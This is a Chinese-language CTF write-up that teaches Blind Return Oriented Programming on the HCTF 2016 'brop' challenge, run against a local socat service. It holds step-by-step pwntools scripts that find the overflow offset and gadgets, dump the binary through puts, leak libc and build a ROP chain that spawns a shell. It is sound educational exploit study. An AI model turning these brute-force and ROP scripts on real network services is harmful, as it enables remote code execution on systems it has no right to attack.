受到之前 HITCON 有一場由 angelboy 主講的議程影響
意外的發現 BROP 這個手法,BROP 全名為 Blind Return Oriented Programming (BROP)
一直以來打 rop 都是在有 binary 的前提下進行研究與攻擊的,所以像這種打 blind 的手法較少見,也讓我吃了一點苦頭
打 BROP 有幾個前提─binary 記憶體不會被 ASLR,canary 不會一直 random(這邊是關掉的)
事不宜遲直接開始
HCTF 2016- brop
這邊主要拿 HCTF 2016 - brop
作為練習,相關資料參考在這裡
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/6.1.1_pwn_hctf2016_brop.html
題目在這裡
https://github.com/zh-explorer/hctf2016-brop
為了求真實,這邊一樣以未取得 binary 僅得知 ip/port 的方式進行攻擊
1 2 3 4 5 6 7
| #!/bin/sh while true; do num=`ps -ef | grep "socat" | grep -v "grep" | wc -l` if [ $num -lt 5 ]; then socat tcp4-listen:10001,reuseaddr,fork exec:./a.out & fi done
|
執行起來的狀況:

Finding Offset
首先第一步─取得 overflow 的 offset
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import *
def get_overflowi_offset(): for i in range(1, 400): try: cyclic = b"a"*i buf_size = len(cyclic) log.info("trying buffer size: %d" %buf_size) io = remote("127.0.0.1",10001) io.recvline() io.send(cyclic) io.recvline() io.close() except: io.close() log.info("found overflow offset: %d" %(buf_size-1)) return (buf_size-1)
get_overflowi_offset()
|

Finding Stop Gadget
第二步需要取得不會 crash,能使程式正常退出的 address,用來當作正常退出的記號,在後續的攻擊會需要用到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * import time,sys
def found_vaild_address(overflow_size): addr = 0x400000 while True: time.sleep(0.1) addr += 1 payload = b"a"*overflow_size payload += p64(addr) log.info("trying address: %x" %addr) try: io = remote("127.0.0.1", 10001) io.recvline() time.sleep(0.1) io.sendline(payload) io.recvline() io.close() log.info("vaild address: %x" %addr) return addr except KeyboardInterrupt: log.info("KeyboardInterrupt caught") sys.exit(130) except EOFError: io.close() log.info("fail, try header")
except PwnlibException: log.error("Can't connect to server")
except Exception as e: log.error(e)
found_vaild_address(72)
|
這邊通常都是拿 no PIE 的 base address 0x400000
當作尋找的起點,然後顧全網路連線的延遲,所以都會留下 sleep 的時間

Finding Brop Gadget
再來就是找 csu 的 gadget,眾所皆知 csu 上面有很多好用的 gadget,其中包括 rop 很常用到的 pop rdi;ret
這邊的尋找的邏輯跟找 stop gadget 差不多,並且 base address 可以以 stop gadget 為初始點下去找,因為 csu 的 gadget 基本上都會在最下面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * import time,sys
context.arch = 'amd64' context.endian = 'little'
def found_brop_gadget(stop_address ,overflow_size): addr = stop_address while True: time.sleep(0.1) payload = b"a"*overflow_size payload += flat([addr, 1, 2, 3, 4, 5, 6, stop_address]) log.info("trying address: %x" %addr) try: io = remote("127.0.0.1", 10001) io.recvline(timeout=0.5) time.sleep(0.1) io.sendline(payload) io.recvline(timeout=0.5) io.close() log.info("possible address: %x" %addr) try: check_payload = b"a"*overflow_size check_payload += flat([addr, 1, 2, 3, 4, 5, 6, 7, 8, 9]) time.sleep(0.5) io = remote("127.0.0.1", 10001) io.recvline(timeout=0.5) io.sendline(check_payload) io.recvline(timeout=0.5) io.close() log.info("not brop address") addr += 1 except EOFError: log.info("find brop address: %x" %addr) return addr
except KeyboardInterrupt: log.info("KeyboardInterrupt caught") sys.exit(130)
except EOFError: io.close() addr += 1 log.info("fail, try header")
except PwnlibException: log.error("Can't connect to server")
except Exception as e: log.error("error") log.error(e)
found_brop_gadget(0x400545, 72)
|
我特別在 recvline
加上了 timeout 的參數,這樣防止它跳到 scanf 或是 read 等等的 function address 的時候能繼續執行下去
另外可以看到我除了要確保他是 vaild address 之外,在 check 那邊還故意丟了 9 個 invaild address,如果他真的是 csu gadget 的話那 pop 完之後會 return 到 invaild address 導致 crash
這樣就能確定它是 csu gadget 了

因為有 binary,可以做 double check

Finding Puts
下一步我們需要找到能 leak address 的位址,因為題目一開始就 print 字串了,所以可以合理懷疑有用到
puts
由於是 blind,所以部分還是得用猜的去做
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * import time,sys
context.arch = 'amd64' context.endian = 'little'
def found_leak_gadget(addr, pop_rdi_ret , ELF_address ,overflow_size): pop_rdi_ret_gadget = pop_rdi_ret while True: time.sleep(0.1) payload = b"a"*overflow_size payload += flat([pop_rdi_ret_gadget, ELF_address, addr]) log.info("trying address: %x" %addr) try: io = remote("127.0.0.1", 10001) io.recvline(timeout=0.5) time.sleep(0.1) io.sendline(payload) recv_string = io.recvline(timeout=0.5) io.close() if recv_string.startswith(b"\x7fELF"): log.info("find puts address: 0x%x" %addr) return addr
except KeyboardInterrupt: log.info("KeyboardInterrupt caught") sys.exit(130)
except EOFError: io.close() addr += 1 log.info("fail, try header")
except PwnlibException: log.error("Can't connect to server")
except Exception as e: log.error("error") log.error(e)
found_leak_gadget(0x400000, 0x400793, 0x400000, 72)
|
這邊撰寫的邏輯是將
rdi
固定設定為程式的開頭,也就是
0x400000
,然後開始往下尋找,只要成功找到 puts 的話就會把程式的 header 輸出出來

Dumping ELF
最後就是靠著上一步拿到的
puts
address 來 leak binary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import * import time
context.arch = 'amd64' context.endian = 'little' context.log_level = 'debug'
def leak_binary(start_address, end_address, pop_rdi_ret, leak_gadget, overflow_size, stop_gadget): while start_address <= end_address: time.sleep(0.1) payload = b"a"*overflow_size print(hex(start_address)) payload += flat([pop_rdi_ret, start_address, leak_gadget, stop_gadget]) result = b""
try: io = remote("127.0.0.1", 10001) io.recvline(timeout=0.5) time.sleep(0.1) io.sendline(payload) recv_string = io.recv(timeout=0.5) io.close()
if recv_string == b'\n': recv_string = b'\x00' elif recv_string[-1:] == b'\n': recv_string = recv_string[:-1] + b'\x00'
result += recv_string start_address += len(result) ff = open("leak.bin", "ab") ff.write(result) ff.close()
except KeyboardInterrupt: log.info("KeyboardInterrupt caught") sys.exit(130)
except EOFError: log.info("fail, try header")
except PwnlibException: log.error("Can't connect to server")
except Exception as e: log.error("error") log.error(e) leak_binary(0x400000, 0x600000,0x400793, 0x400545, 72, 0x400545)
|

看起來應該是到 0x401000 位址就好然後我忘了針對 exception error 得後續處理,但 pwntool 有內建的處理所以還好
至於 leak 下來的 binary 該怎麼處理
我看網路上其他人有的用 IDA 修復 binary 解出 puts 的 GOT
這邊是採用免費的做法,用 r2 來解


這樣就拿到 plt 對應的 got address 了
Making ROP Chain and Get Shell
只要簡單的寫一隻 overflow leak 的腳本就可以獲得 got 裡面的 libc address 了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
io = remote("127.0.0.1", 10001)
context.log_level = 'debug' puts_got = 0x601018 read_got = 0x601028 pop_rdi_ret = 0x400793 leak = 0x400545
io.recvline() payload = b"a"*72 + p64(pop_rdi_ret) + p64(puts_got) + p64(leak)
io.send(payload)
io.interactive()
|

基本上可以用 libc-database 等等的網站就可以知道 libc 的版本與對應的 offset
https://libc.rip/
最後的流程是這樣
leak puts libc address and return to main -> get libc base address -> get system & /bin/sh address -> overflow again and get shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import * import time
context.log_level = 'debug'
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") puts_got = 0x601018 read_got = 0x601028 pop_rdi_ret = 0x400793 ret = pop_rdi_ret+1 puts_plt = 0x00400550 main = 0x00400677
payload = b"a"*72 payload +=p64(pop_rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(0x00400677)
io = remote("127.0.0.1", 10001) io.recvline() io.send(payload) puts_libc = u64(io.recvline()[:-1].ljust(8, b'\x00')) libc_base_address = puts_libc - libc.symbols['puts'] system_libc = libc_base_address + libc.symbols['system'] binsh_libc = libc_base_address + next(libc.search(b'/bin/sh')) log.info("puts libc address is 0x%x" %puts_libc) log.info("libc base address is 0x%x" %libc_base_address) log.info("system libc address is 0x%x" %system_libc) log.info("/bin/sh libc address is 0x%x" %binsh_libc)
get_shell = b"a"*72 get_shell += p64(pop_rdi_ret) get_shell += p64(binsh_libc) get_shell += p64(ret)*5 get_shell += p64(system_libc)
io.recvline() io.send(get_shell)
io.interactive()
|
其實這幾個步驟都可以全部整合成一個 script 但為了教學方便就分段了
